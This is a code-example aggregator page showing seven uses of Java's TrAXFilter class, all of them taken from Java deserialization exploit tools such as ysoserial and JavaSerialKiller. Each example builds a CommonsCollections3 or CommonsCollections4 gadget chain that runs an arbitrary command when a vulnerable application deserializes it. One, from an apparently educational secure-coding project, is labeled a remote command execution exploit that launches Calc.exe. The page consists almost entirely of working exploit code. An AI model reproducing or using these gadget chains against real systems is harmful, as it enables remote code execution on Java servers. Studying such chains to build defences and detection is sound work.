com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter Java Examples

The following examples show how to use com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example #2
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example #3
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example #4
Source File: CommonsCollections4.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #5
Source File: CommonsCollections4.java    From JavaSerialKiller with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example #6
Source File: RCE.java    From JavaSCR with MIT License 5 votes vote down vote up 
/**
 * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
 *
 * @return a byte array containing the serialized queue
 */
private static byte[] RCEpayload() throws Exception {

  Object templates = Gadgets.createTemplatesImpl("Calc.exe");
  // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

  ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

  // mock method name until armed
  Class<?>[] paramTypes = new Class[] { String.class };
  Object[] args = new Object[] { "foo" };
  InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

  // grab defensively copied arrays
  paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
  args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

  @SuppressWarnings("unchecked")
  Transformer<Object, Object> chain = new ChainedTransformer<Object>(new Transformer[] { constant, instantiate });

  // create queue with numbers
  PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
  queue.add(1);
  queue.add(1);

  // swap in values to arm
  Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
  paramTypes[0] = Templates.class;
  args[0] = templates;

  return serialize(queue);
}
Example #7
Source File: CommonsCollections4.java    From ysoserial with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}